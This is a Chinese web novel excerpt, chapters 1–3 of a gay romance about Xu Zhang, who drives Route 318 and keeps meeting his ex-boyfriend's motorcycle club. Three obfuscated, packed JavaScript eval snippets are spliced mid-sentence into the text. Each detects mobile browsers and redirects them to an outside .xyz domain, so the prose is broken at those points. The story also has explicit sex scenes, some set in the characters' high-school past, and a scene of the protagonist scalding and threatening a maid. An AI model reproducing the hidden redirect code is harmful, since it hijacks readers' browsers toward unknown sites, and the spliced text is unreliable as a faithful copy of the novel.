《不要心疼前男友》 1. 第 1 章 “对不起,小璋,我不是故意的……” 王姨端着汤碗,洒了许璋满手。 他皮肤薄不经烫,手背迅速红肿起来,看着触目惊心。 许璋用纸巾擦拭:“没关系,王姨。” 宋嫣然坐他对面,立刻不淡定了,尖着嗓子说:“你上菜就不能看着点吗!总是给我添乱,还不快去拿烫伤药,杵在这里等着夸你呢!” “我……我这、这就去。”王姨赶紧跑开。 宋嫣然气不打一处来:“这不长眼的家伙,跟她说了多少回,小璋对牛肉过敏,她偏偏又煮牛肉汤,我真迟早把她赶回老家!” 许璋舀起牛肉汤,吹凉喝了一口。 “阿姨,您别上火,我已经不太过敏了。王姨刚来不久,不了解很正常,她又是您的远房亲戚,没必要因为这点小事生气。”他温顺道。 宋嫣然见他喝下汤,用指甲拨了拨筷子,笑着对许明楼说:“还是小璋懂事。” 许明楼不轻不重地应了声。 餐桌另一头还有个人,顶着一头酷炫的白毛,横看竖看都扎眼。 许明楼瞪着白毛儿子,面色不善:“你实习这段时间,多跟你哥学学,别整天和那帮狐朋狗友鬼混,年终之前,我要看到你的实绩,干不好你给我等着。” “还有,明天如果你还顶着这头发,我给你推成光头。” 白毛头都没抬,宋嫣然厉声呵斥:“你爸跟你说话呢,听见没有?” “听着呢,没聋。”宋焕掏掏耳朵,看向许璋,“我跟他学什么?学他大学翘课办画展走后门拿最高奖学金?学他跟公司那经理勾三搭四不清不楚?还是学他不务正业专门给男人玩屁股?” 许璋笑了下,表情意味不明。 下一秒,热汤泼在宋焕脸上。 许明楼拍桌而起,大发雷霆,骂得极其难听,宋嫣然的尖叫声响彻客厅。 许璋悠然地离开战场,来到后厨,王姨正在切果盘,摆出好看的花式。 “今天的菜谱,是阿姨定的吗?”许璋走过去问。 他看上去斯文有礼,说话温柔细语。 王姨不自然地说:“不是夫人定的,是许先生。” 许璋笑了起来,他笑的时候眼睛微弯,睫毛长而卷,隔着黑框眼镜,一副可爱小意的模样,如同涉世未深的学生。 “胡说,我爸才不爱喝汤。”他轻声说道,有几分委屈,“这个月,我都过敏三次了,王姨。” 王姨胆战心惊地抬头,只见他那雪白的脖颈,泛出不正常的红色。 许璋微微一哂,从锅里盛了勺汤,顺手将滚烫的汤汁淋在她手上,牛骨浓郁芳香,肉香味瞬间飘满厨房。 那汤放了有一会儿,虽然烫但不至于破皮,王姨的手背被浇得通红,正如刚才许璋的手。 她吓得浑身发抖,愣是没敢喊出声来。 许璋说:“你老是这样做,我很不高兴。” “一个月后我回来,希望看见您的房间空出来。否则,你们全家都要滚蛋哦,尤其那个小的。” 王姨颤声道:“不、不……小洪他还小,少爷,您饶了他吧……对不起,我知道我不该……” “迟了,我给过你机会。” 许璋没理她,无事发生地走出厨房。 二十分钟后,他叫人把画布和行李搬进车库。 临走之前,去二楼跟他爸和后妈道别。 “爸,阿姨,我准备出发了。”许璋说。 许明楼还在气头上,迁怒道:“天天折腾你那破画,回来后给我把画室转了,我辛辛苦苦培养你,不是为了让你招人闲话的!” “知道了,爸爸。”许璋十分乖巧,“画室那边在走流程,造谣的也交给法务了,下个月就能开庭。” 他停顿片刻,望向宋嫣然:“宋焕今天那么失控,可能是听了不实传言,回头麻烦阿姨,帮我向他解释清楚。” 许明楼消了气,板着脸说:“这样最好,你弟那不省心的玩意儿,成天跟些不三不四的厮混,也不知道哪里听来的鬼话!” 宋嫣然的脸色很难看,皮笑肉不笑。 她打圆场道:“别讲这些了,说好今天给小璋践行的,老许你看你,都没放在心上。小璋,路上注意安全,开车小心点呀。” 许璋无所谓地离开,对她的挑衅毫不在意。 他举手投足尽是上流气质,毕业于名校履历漂亮,在公司又深得人心,如此优秀的长子,把她那儿子衬得像个地痞流氓。 除开那段上不了台面的情史,许璋几乎无懈可击。 宋焕要拿什么和他争? 宋嫣然脸都扭曲了,怨恨地瞪着他的背影。 许璋开车出库,路过大门口时,看见他那倒霉弟弟,正蹲在路边抽烟。 SUV缓慢滑行,宋焕掐灭烟,上前踹了脚轮胎。 “我的卡被冻结了,你高兴了吧?”他讥讽道,“还有空自驾游,看你那副小人得志的嘴脸,当心出门不利。” 许璋看了眼后视镜,没觉得自己小人得志,明明乖出二里地,看着很好欺负。 宋焕忍不住羞辱他:“我的好哥哥,人人都说我要向你学习,你倒是跟我说说,怎么才能做到,一边勾搭男人卖屁股,一边这么人模狗样的呢?” 许璋随手摘下眼镜,扔到副驾。 他的目光扫向宋焕,眼神和方才截然不同,带着凉飕飕的不屑。 宋焕看得愣住,许璋穿着浅色羽绒服,里面是白色低领毛衣,戴眼镜时像个毛茸茸的小玩具,仿佛谁都能肆意揉捏。 摘下眼镜后,露出漂亮到过分的眉眼,有种凌厉狡猾的错觉。 他生得像他母亲,和宋嫣然口中的“狐狸精”不谋而合。 “过来,我告诉你。”许璋勾勾手指头,语气慵懒。 宋焕本来想继续骂他,但脖子上如有牵引绳,那只手勾得他一哆嗦,便不由自主地靠近车窗。 车内暖气很足,有股淡淡的玉龙茶香,是车载香水的味道。 宋焕被热气熏得迷糊,忽然,下巴被冰凉的手托住,脑袋顿时嗡了一声。 “因为他们都喜欢被我操,所以我才能到处都吃得开啊。” 许璋露出恶劣的笑,朝他脸上吹了口气,“你搞错了,我是操别人屁股的,你想试试吗,亲爱的弟弟?” 宋焕人傻了,如同被雷当头劈开。 许璋说:“对了,我还有艾滋病,刚才泼你的那碗汤里,有我的口水。” “……” 等宋焕回过神来,SUV已经飙出百米外,他意识到自己被耍,在寒风中发出愤怒的咆哮,气得把烟狠狠摁灭。 许璋从上海出发,愉快地吹着口哨,拍了张318国道发动态。 很快,下面出现了不少评论。 【@哎呀触礁啦:鱼宝是要去川西吗?那里风景很美哎。】 【@湘川99:哇塞塞,能不能开直播,想看!】 【@小鱼专属NPC:小鱼老师,你要把沿路的景色画下来吗?/可爱/】 【@今天也没下雨:鱼妹会经过武汉吧?来找我玩啊,请你吃饭。】 许璋有个关注了画室的号,叫“章鱼zzz”,除了宣传业务之外,偶尔也接一些约稿。在一次直播事故后,意外收获了大量粉丝。 他在社交平台都发了动态,朋友圈画风含蓄很多,大多是同学同事的关心。 许璋在苏州服务区, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019053|162174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点进去看回复,却看见一个眼熟的头像。 照片是个戴棒球帽的男生,露出半张脸,经处理后变成黑白色,一看就是那种爱装酷的潮男。 这人五年都没换头像。 他盯着看了会儿,然后关掉屏幕,继续吃桌上的蟹粉小笼。 旁边,摩旅车队呼啸而过,黑色金翼和绿色川崎交织穿行,留下一路滚滚的尾气。 许璋吃完画了几张速写,因为想去市里过夜,便离开服务区继续开。 他一个人有些无聊,放着dj和摇滚,在太阳落山前,抵达了安徽宣城。 许璋准备进城,道路边上,那支摩旅队在休整。 这群人戴着头盔,或靠或坐在车上,站成一排奇特的风景线。 他们笑着谈天,在金色的余晖中推搡彼此,脚下的冻土冰冷荒芜,领队车后面的国旗摇曳生辉。 风里带着自由的味道。 许璋拉下车窗,缓慢地滑行,打量了他们许久。 他从小循规蹈矩,像抽烟、喝酒、飙车这种事,碰都没碰过,不过男人嘛,天生被车吸引,尤其这么帅的车队。 有人冲他吹口哨说:“兄弟,车不错啊。” “你的也很酷。”许璋和他隔空碰拳。 金翼上坐着一个年轻男人,身材修长健硕,隔着头盔远远地看过来。 寒风冷冽中,许璋冲他们微笑挥手,转头上了高架。 · 宣城,旅店餐厅,摩旅队浩浩荡荡地围坐吃饭。 杭樾是最后进来的,他单手拎着头盔,讲了几句明天的路线。 众人边吃边听,他丢下一句“明早六点五十集合,七点出发”,便往楼上走。 上菜的小妹撞了个正着,抬头看他一眼,脸立马通红。 大家七嘴八舌地说: “谁惹我樾子哥了,脸咋这么臭?” “不会是因为我今早迟到吧?” “不至于,他那脾气,要生气当场就骂你了。” 队里的老人说:“别理他,没啥事儿,是碰到前任了。” 所有人都来了精神,轰的开始八卦。 “我操,那个纯恨前任吗?我知道我知道!听说他俩闹得很难看,阿樾出国就是因为他,差点被他搞回直男了。” “哈哈哈哈,这么惨?有多恨啊?” “那人叫徐章对吧,之前樾哥喝醉了,说要跟他同归于尽。” 副队笑着摇头:“当年这个逼喝多了,给我看他社交账号,说许璋半夜访问他主页,肯定是余情未了,我说兄弟,人家不点进来怎么屏蔽你啊。” 大伙儿发出哄笑。 他继续说:“他从此意志消沉,一朝被蛇咬十年怕井绳。你们说,上次那个女骑多好看,追了他一个礼拜,他拒绝人家的时候,给人放了段大悲咒,告诫妹子戒色戒欲,千万别碰感情,妹子回头说他神经病。” “妈呀,我说人家怎么退队了,敢情是被气的。” “樾哥太抽象了,真受不了他。” 新人举手道:“提问提问,哪个是许璋?我怎么不记得,今天碰到什么新人物了。” “就那辆黑色X5,沪牌那个。”副队喝了口酒,“皓子还跟他打招呼呢。” “是他啊,那确实有很多姿色。” “可是,他们不是分手好多年了吗,”新人疑惑,“为什么樾哥一眼就能认出他的车?” 副队:“朋友圈看到的,阿樾还跟我说那车不行,开半路指定要出问题。” 新人挠头:“那更奇怪了,他们都这么恨对方,为什么不删除好友?” “‘合格的前任,应该像死了一样’,喏,前天晚上樾哥发的动态。” 2. 第 2 章 【合格的前任,应该像死了一样/微笑/】 许璋躺在酒店的床上,翻看前男友的动态。 哇,他希望我死哎。 真恶毒。 不对,可能指的是其他前任。 杭樾那么招蜂引蝶,分手五年多,他应该是前前前任了吧。 这个想法并没有让许璋难过,他向来看得开,生老病死悲欢离合,人间常态而已,何况只是肉.体关系,不存在什么奇怪的占有欲。 今天看见那辆金翼,许璋一眼就认了出来。 回来翻朋友圈,果然找到不少照片。 其中一张,杭樾停在布达拉宫旁,黑裤包裹着逆天长腿,宽肩窄腰堪比男模,即使戴着头盔,也阻挡不了扑面的荷尔蒙。 那辆摩托如同蛰伏的猎豹,车型流畅丝滑,隔着屏幕,都仿佛能听见翻滚的音浪。 男人都渴望拥有这样的座驾。 许璋想起当年,他在课本的遮掩下,给自己看车的场景。 “帅不帅?我爸说,高考完奖励我一台,到时候让你坐后座。”杭樾压低声音道。 变声期末尾的嗓音,带着一丝沙哑,性感得要命。 “你会骑吗?”许璋斜了他一眼,“别把我摔了。” “摔谁都不会摔你,你可是我的宝贝。” “操,你恶不恶心,跟哪个片学的。” “你还操上了,昨晚谁操的谁?” 许璋咬住嘴唇,一把按住他作乱的手,杭樾从课桌下面伸过来,隔着校服裤揉捏他腿.心,直到揉出满手湿意。 许璋抖得拿不住笔,那滋味过于销魂和上头。 少年人不知节制,昨晚翻窗出去乱搞,搞到凌晨三.四点,弄满了一堆套才消停。 许璋觉得,再这样纵情声色下去,他快要英年早逝了,本来只是想宣泄压力,谁知道根本停不下来。 当然,这一切都怪杭樾。 晚自习的教室很安静,大家都在做题,老师在上面坐着,他俩在底下偷情。 杭樾的呼吸喷在他耳朵上,低声说:“我爸妈出去度假了,晚上来不来我家?” “不去,我怕被你搞死。”许璋使劲掰他的手。 杭樾笑得很酥,让人骨头发软。 “放屁,你明明享受得要命,还坐我腿上吸我呢。” “滚你大爷的,傻逼吧你。” “谁嘴硬谁傻逼。” 他们像刺猬一样攻击彼此,谁也不肯认输,在粗鲁下流的姓爱中,毫不怜惜地在对方身上留下血痕,将最原始、青涩的一面,毫无保留地呈现出来,颤抖和眩晕,疼痛并快活。 两人几乎没有交流,单独相处就是做.爱,随时随地开黄.腔,每时每刻都在发.情,像两头不知疲倦的野兽。 许璋压抑了十几年,第一次知道,原来这种事会上瘾。 他对情感的需求很淡,对杭樾也不算了解,只知道双方父母有交集。 杭樾此人,成绩尚可,性格张扬,朋友众多,爱好极限运动。 其他一概不知。 估计他也是玩玩而已。 就这样,浑浑噩噩地处了一个月,在高三下学期和平分手。 至少许璋是这么认为的。 他说分手,杭樾说好,就这么简单。 直到三年前,远在国外的杭樾喝醉了,发了五十二条语音骂他。 那年许璋经历了许多事,感情在他的人生里,只能排到最末位,他随便听了几条,大概是“怎么会有你这种人”“我真后悔遇见你”之类的。 他觉得杭樾可能发错了。 他们没到这种地步吧。 两人装作无事发生,谁都没再主动发消息,就这么将彼此晾在人生的角落。 许璋盯着照片看了会儿,忽然扔掉手机,难耐地在被子上蹭了几下。 要命。 他看前任的照片,看得起反应了! 八成是空窗太久,饥渴到随便看个男的都能石更。 他骂了句脏话,匆忙跳起来跑进浴室。 …… 许璋独自旅游,时间安排得闲散,一觉睡到九点才醒。 昨晚在浴室解决了一次,浑身骨头都懒洋洋的。 手机里十几条消息,助理说今天有两拨人要看画室,他勉强回了句“好好招待”,厌倦地关掉屏幕。 他出生在一个很俗的家庭,人生目标也很俗,生来就是为了争夺俗物,因为这些俗物,不得不放弃真正喜欢的东西。 他无法像杭樾那么潇洒任性,这大概是他被对方吸引的原因之一。 咦,杭樾给他发消息了。 发了个问号。 许璋疑惑地点进去,僵硬了几秒,天塌了。 他昨晚看杭樾的朋友圈,进进出出,没留意一直在拍他的头像,消息显示拍了二十多次…… 许璋抱住脑袋,陷入自闭中。 那头又弹出消息:[还没睡醒??] 别踏马发问号了。 没想到几年来首次聊天,竟然是这样的开头。 许璋深吸一口气,夺回主动权道:[干嘛?] 这两个字,不知为何激怒了杭樾,对面秒回:[你干嘛?] 语气好冲。 [不爱社交:点错了不行?] [Y22:有病吧,谁信。] [不爱社交:?爱信不信。] [Y22:别装,我昨天都看见你的车了。] [不爱社交:So?0人在意你看见什么。] [Y22:?你非得这么说话是吧。] 许璋起床气发作,阴阳怪气地互怼了几句,暗骂他是大傻逼。 果然,合格的前任就该去死,狗都不想和他谈。 杭樾黑着脸打字,打了又删,重复数次。 屏幕正上方的备注:狗都不谈。 唐思瑞伸长脖子道:“哇塞,是哪个不识趣的家伙,大早上惹我们樾子哥生气,不会是我想的那位吧。” 他是摩旅队的新人,杭电大四生,刚加入两个月。 杭樾按灭屏幕,推开他凑过来的头。“喝你的粥。” 大家坐在大堂吃早饭,杭樾不怕冷的穿了件皮衣,那张脸帅得突出,眉骨锋利鼻梁高挺,左耳打了个耳桥,一副坏到没边的模样。 下楼五分钟,前台小妹、后厨小妹、服务员小妹来了个遍,排着队找理由从他面前经过。 “阿樾,实在不行你直回来吧。”副队惋惜地说,“何必吊死在一棵树上。” “滚滚滚,你不懂单身有多爽。”杭樾道,“你自己结婚了,就想把所有人都拖下水?别来烦我。” 唐思瑞崇拜:“樾子哥你好酷,那你为什么不把他拉黑?” 饭桌短暂沉默,副队险些笑出声来。 杭樾淡定地说:“当然不能拉黑。” “前任是用来当撒气桶的,他让我不爽,我肯定也要让他不爽。” “好美的精神状态,只对别人发疯,绝不内耗自己。”唐思瑞满脸觉悟。 杭樾低头检查,屏幕上是刚才打的字:[你不会故意偶遇我的吧?] 他在桌子底下删了个干净。 “十分钟后门口集合,今天要下雪,早点出发。”他叼着糍粑,起身走了。 唐思瑞意犹未尽,转向正在喝粥的人:“远哥,听说那个许璋是A大的,你也是19届的,你认识他吗?” 邢远是杭樾的发小,妹妹们一半看杭樾,一半是在看他。 他和杭樾的张扬不同,气质沉稳而内敛,被很多人调侃体制内男友。巧合的是,他和许璋是大学同学。 “不熟。”邢远说,“他是经院的,我是马院的。” “经院?那他现在做什么工作?”唐思瑞好奇。 邢远顿了一下,想起某个黄昏的画室,那张惊鸿一瞥的脸。 片刻后冷淡道:“不清楚,估计在家里的公司做事吧。” “啧啧啧,果然是个少爷,他和樾哥为什么分手啊?是家里不同意吗,还是别的原因?” 外面突然响起哨声,众人迅速扫荡完,快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019054|162174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步走了出去,唐思瑞的八卦也戛然而止。 下午三点半,天空飘起小雪。 雪花晶莹轻薄,如蛛网坠落在国道上,绵绵汨汨铺了一层,即使寒风凛冽,也浪漫得像在拍电影。 唐思瑞对着固定相机大喊:“下雪了!这是今年的第一场雪,好美啊!” 车队很是兴奋,在风雪中加速前进。 约半小时后,路边出现了一辆SUV。 同样的路线,只要不刻意避开,怎么样都会遇见。 唐思瑞冲对讲机说:“嘿嘿,又是前樾嫂。” 杭樾正转头看那个路障牌,闻言气得笑出来:“什么月嫂,有病就去治。” 其他人说: “樾嫂在画画哎,好雅兴。” “雅兴?装逼吧,手都要冻掉了。” 细碎的小雪中,熟悉的身影坐在后备箱上,支着画架涂涂抹抹。 许璋戴着厚厚的毛绒帽子,整个人缩在兔耳朵下面,隐约能看见卷翘的睫毛和挺立的鼻尖,薄薄一片人。 真像只又乖又软的兔子。 杭樾冷笑一声,收回视线,车队与X5擦肩而过。 只有他知道,这只兔子不仅带爪牙,而且翻脸不认人,咬人贼疼。 谁招他谁倒霉。 副队在对讲机里说:“应该不是装逼,他的车好像坏了,阿樾说的没毛病,那车确实不耐造。” 细雪飘飘荡荡,缠绵悱恻,很快,X5消失在视线范围内。 “好冷啊,我的浪漫劲儿到头了。”唐思瑞说,“妈呀,雪都化在护目镜上了。” “还有三十公里,到下个休息区。”副队说。 “开慢点,注意路况。” 南方不下鹅毛大雪,雪花落地即融,落在身上极易沾湿衣物,又湿又冷。 在雪地里待上一会儿,就冻得不行。 毛茸茸的兔脑袋在眼前闪过,金翼逐渐放慢了速度。 杭樾忽然说:“老江,帮我顶一下。” · 许璋开到半路,车胎爆了。 谁说胎压越低越好的? 他有备用车胎,但是不会换,只得打给保险公司。 闲着也是闲着,便开始画画。 周遭冰天雪地,寥无人烟,作画格外有趣味。 他画下绵延的公路,洁白的雪花,湿润的泥土,还有坏掉的车,画到一半的时候,那队酷炫的摩托闯入眼帘。 开路的金翼风驰电掣,犹如闪电划过天地。 许璋想了想,给画布添了辆摩托。 男人被从布达拉宫抠到318国道,支着腿冷酷地瞪着他,不羁的样子仿佛高中那般不好惹。 许璋面无表情地涂抹,心想真是疯了,居然把前任画进去了。 那逼人明明看见他的路障,愣是睬都没睬,头都不回地开走。 许璋无端愤懑,索性在他头盔上加了个狗耳朵,又在屁股上加了条猪尾巴,将这幅画毁了个彻底。 也许是因为出行不顺,也许是在这茫茫野外,只有这么一个熟人可祸害。他画完后拍了张照,发给杭樾。 他才是那个绝不自我内耗的。 杭樾倒是没骂他。 [Y22:视奸我?] [不爱社交:你视奸我的还少了?] [Y22:真丑,把我画成这样,你缺不缺德。] 许璋头一次被人说画的丑,立刻戳下几个字:[是你长得丑。] [Y22:给你十秒,跟我道歉,我勉强原谅你。] [不爱社交:你谁啊,我需要你原谅?] [Y22:你爹。] 许璋再次觉得,前任还是死了好,他把手机一丢,骂了句:“狗叫什么。” 身后响起幽幽的声音:“几年没见,你的嘴还是那么欠。” 许璋僵住,慢吞吞地回过头。 漫天风雪里,杭樾靠在摩托旁边,头盔挂在车头,肩上落了层薄薄的纯白。 “欠操。”他扯起薄情的嘴角,缓慢吐出两个字。 3. 第 3 章 许璋这人,脾气很坏,却总在生人面前装乖。 人人都以为他温柔乖巧,实际上,在杭樾说完之后,就做好了和他打一架的准备。 许璋是非常难伺候的,在床上轻了要咬人,重了要踹人,除了那张脸,浑身上下没有一处和“乖”沾边。 杭樾以为除了自己这种忍者,没人能受得了他。 可在分手之后,许璋丝毫不受影响,无论是从熟人口中听说,还是半夜翻看他的动态,都显示他过得风生水起,这让杭樾比死还难受。 出乎意料,许璋似乎成长了。 他没从车上跳下来打人,讥讽道:“就凭你?” 杭樾盯着他看了会儿,冷冷地说:“就凭我,又不是没操过。” “你还真没操过,你操的是我的屁股,又不是我的嘴。” 许璋盘腿端坐,吊着眼梢看他,眼尾扬起细微的弧度,像只狡猾的小狐狸,说的话吓死人不偿命。 “嘶,你他吗……”杭樾看着他那样儿,没忍住爆了句粗。 “来不来?”许璋突然问。 杭樾还沉浸在黄色废料里,下意识以为他在邀请,瞬间愣住:“来……什么?” 许璋扫了他一眼:“来帮我,不然来什么,你折回来就是为了骂人?” “……” 杭樾觉得自己没救了,再见不过几分钟,思绪已经从荒芜野外飞到活色生香,身体率先勾起了所有的记忆。 他沉着脸走过去,随手按压车胎问:“有备胎吗?” “有。”许璋终于离开他的王座,“你会换的话,我让保险公司别来了。” “你连胎都不会换,就敢一个人开这条线?”杭樾冷笑。 从开始到现在,他都带着一股怨气。 许璋抱着手臂笑:“我敢啊,我备胎多嘛。” 杭樾的帅脸瞬间黑透,仿佛下一秒就会掉头走人。 他阴郁地别开脸,低头翻找千斤顶。 许璋轻飘飘道:“不就是昨晚拍了你一下,干嘛这么小心眼,我会给修车费的。” 杭樾心想还好分的早,要是处个几年,迟早被他气成植物人。 “你那是拍了一下吗?”他拿起工具,懒得看他。 “二十五下,那又如何,你骂过我整整五十二条呢。” 许璋站在旁边,没有帮忙的意思。 他穿着白衣蓝裤,都是不经脏的颜色,有如一片纤尘不染的云朵,自然不可能屈尊降贵。 杭樾也没使唤他递工具,理所当然地扔在地上,弄得满手套泥浆。 “说话,凭什么骂我。”许璋说。 杭樾没接茬,埋头道:“把你的画拿远点,或者回车里去。” 许璋也没接他茬,反问:“那支车队是你组建的?” “不帮忙就别站着,碍眼。” “你为什么去川西?” 两人自说自话,谁也没回答谁,仿佛接一句就输了。 雪下得大了,簌簌地落在身上,许璋的鼻尖被吹得通红,没有去车上,而是歪头看着他修车。 “你有很多备胎?”杭樾突兀地问。 许璋吸了吸鼻子:“没有,就一个。” 空气短暂安静,杭樾动作慢腾腾的,好像不大熟练,又问:“你去上海工作了?以后还画画吗?” 许璋凉凉地说:“关你的事?” “不关我事。” “那你还问。” “我想问就问,关你的事?” 许璋笑了起来:“不关我事,你想干什么都不关我事,你去留学也好,结婚也好,那是你自己的决定。” 杭樾呼出一口气,在空气中凝成白雾。 “有没有一种可能,我没有结婚,23年国庆那场是我表哥的婚礼呢?” 他放下扳手,抬眼看着许璋,眼神冷到了极点。 杭樾的眉骨煞是好看,仰视别人的时候,不仅没有卑微感,反而充满压迫和危险,仿佛一头等待捕猎的野兽。 许璋想起上次被他这样注视,是在他家的浴室里。 他坐在琉璃洗漱台上,杭樾弯腰跪下帮他口,分明是仰视的角度,却凶得像要把他一口吞下去。 许璋抓着他的头发,小声地哭泣,哭到全身发颤,受不了地求饶。 直到他彻底脱力,从台子上软软地滑下来,杭樾才不紧不慢抱起他,极其磨人地满足他。 此男和他的长相一样,坏到骨子里了。 许璋面上没有显露分毫,安静地微笑:“你别误会,我只是随口一说,我很少看别人的动态,也不知道你表哥什么时候结的婚。” 杭樾沉默片刻,重新拿起扳手。“那你呢?” “我?” “你结婚没有?” 许璋觉得有点意思,他开始看不懂杭樾的目的了。 “你觉得我结婚没有?” “不要老是反问我。”杭樾皱眉,“是我先问的你。” “我的问题你也没回答,这不公平。” “你没结婚。”杭樾瞥向他垂落身侧的手。 那双养尊处优的手,如同记忆中修长白皙,生下来就没做过重活,跟泡在牛奶里长大似的。 无名指上,没有戒指。 许璋又无趣起来,转身想回车上。 杭樾在他身后说:“高三的时候,老师让每人分享一个想去的景点,你分享的是鱼子西,你说想在雪山上看一次日落。” “所以?”许璋挑眉。 杭樾换完胎,拍了拍手上的灰,起身道:“所以我想去看看,那是个什么样的地方。” “当时每个人都上去分享了,你每个地方都去过?”许璋嘲道。 “没那闲工夫。”杭樾骑上车,戴好头盔,“我去那里是因为想去,不是因为你,少自作多情。” 他发动摩托,毫无留恋地扬长而去。 许璋嘀咕:“我又没说是因为我。” 他看着公路尽头消失的背影,心里知晓,这一路应该不会再碰面了。 杭樾讨厌他,修车已经是仁至义尽。 他启动车子,继续上路。 雨刮器一晃一晃的,将玻璃上的碎雪拨开,雪粒子掉在道路上,被车轮碾压成泥水。 车内放着一首歌,有点哀伤。 许璋嫌它过于缠绵,换了首亢奋的摇滚,脑子里却开始想刚才的话题。 婚姻——对他来说是个很陌生的词。 他会结婚吗? 或许会吧。 找个志同道合的les,回家上演一场男欢女爱戏码,就像母亲离开后,他独自表演的十多年一样。 他需要这个面具,许家也需要这个面具,他和许明楼都心知肚明。 许明楼培养他、器重他,对那些破事视而不见,只要没人去捅破窗户纸,他就能心安理得享受现在的一切。 他是许家最优秀的长子,是许氏最得力的高层,也是继母最痛恨的继子。 他耀眼夺目,他光芒万丈,这些会化成一把利剑,刺穿那个取代他母亲的人的心脏,让她在高位上永远不能安宁。 许璋勾起嘴角,心情颇好,随着音乐摇头晃脑。 雪下得越来越大,他开得慢吞吞,一个刹车,后座的画滑了下去。 颜料洒落一地,画笔堆成脏兮兮的小山。 曾经将他从黑暗中拽出来的东西,他抱在怀里珍惜到不行的东西,如今已经不那么重要了。 许璋看了眼后座,嘴角一点点降下去。 英文歌播完后,又切回了刚刚那首歌。 男声缓缓唱道: “如果可以 我想和你 回到那天相遇 让时间停止那一场雨” “只想拥抱你在身边的证据 吻你的呼吸 一眨眼一瞬间 你说好就是永远” 车在夜色中前进,第二天晚上,进入了安庆。 许璋开到服务区时,天已经黑了下来。 路上遇到一辆理想,车上两个女生。 副驾说车灯坏了,问能不能跟在他后面,许璋便打开语音让她们跟着。 晚上能见度低,两辆车开得缓慢。 副驾说:“怎么办啊,我找了一圈,周围的旅店全都满了。” “真的假的?你再搜搜看呢。”主驾道。 “真的,不信你自己搜,啊啊啊他们都说这条线人多,昨天明明没什么人啊。” “要不找个充电桩,在车里凑合一晚得了。” “我们倒是还好,小帅哥开的是油车,他不得冻死啊。” “冻不死,我带了保暖设备。”许璋无所谓地说,“你们先去找充电桩吧,我开去前面问问。” 他们都经验不足,没有提前订好旅店,只得分开行驶寻找。 二十分钟后,许璋还真找到一间空房,将两个女生带了过去。 “外面太冷了,要不……你和我们挤一挤?”副驾犹豫道。 许璋说:“我再找找,不至于一间都没有。” 他虽然是gay,但和两个陌生女孩挤,实在不像话。 路边的雪积了寸余,寒风在公路上肆虐,白天辽阔的旷野,此时竟变得阴森可怖。 许璋折腾了一大圈,也没找到空房,只好把车停在空地。 他将座椅放下,拍了张照发朋友圈:【试试新买的床垫。】 底下有人评论:【许总,你怎么睡车里了?】 【听说这几天有大雪,许哥注意安全。】 【你还不是雪地胎,记得装防滑链。】 【晚上睡车里安全吗?你应该开房车去的,这条路人好多。】 许璋躺在垫子上回复:【真要那么大雪,估 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019055|162174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计去不成川西了,随缘吧。】 【懒得动,明天装。】 【有人搞直播,把这条线带火了,还有徒步的呢。】 他切换到微博,评论区很多带图片的评论。 【@哎呀触礁啦:鱼妹快看!我家今天下雪了!】 【@陈小姐和李先生:今天去了农庄,在雪地里煮火锅吃。】 【@小手冰凉:全国都在下雪,除了广州。】 【@湘川99:鱼宝年前回上海吗?】 火锅…… 好饿哦。 许璋回复@湘川99:【我回苏州。】 那人问他:【宝宝你是苏州的?】 他说:【我妈妈是苏州的,回老家。】 他打了个哈欠,用围巾把脸圈住,埋进柔软的羊绒里。 车里确实很冷,好在带了不少保暖工具,打开空调后定了个闹钟,打算过一会儿起来关掉。 温度逐渐攀升,许璋的手脚都暖和起来,眼皮越来越沉重。 他打了个瞌睡,并诡异地梦到了杭樾…… 梦里时空颠倒,回到那个纯真无虑的时代。 2018年是个多事之秋,那一年霍金去世,□□连任总统,博鳌论坛开幕,马克思诞辰200周年。 时政手册密密麻麻,写满一个又一个考点。 许璋背得昏昏欲睡,突然听见有人大喊,说谁和谁在画室打起来了。 为了方便艺术生考试,学校开设了专门的画室,就在他们班楼下。 许璋想起那副画了一个月的画,当即从椅子上弹起来,跟着人群跑到画室门口。 杭樾在和一个男生在打架。 不,应该说他单方面殴打别人。 许璋知道他,高调的风云人物,他们的父母认识,从高一同班到现在为止,两人没说过一句话。 他觉得杭樾是个校霸,杭樾觉得他是个书呆子,互相瞧不上对方。 轰隆隆!咣当! 许璋一个急刹车,看见那幅画惊天动地倒下,中间破了个大口子。 饶是他很能装,脸色还是瞬间冻结。 杭樾的朋友赶紧阻拦,那个男生和杭樾差不多高,长相英俊,说话时语气冷静,很难想象会和校霸混在一起。 “别打了,再打他要废了。”男生说,“让他立个保证,然后滚。” 杭樾抿着嘴,森寒地望着地上的人。 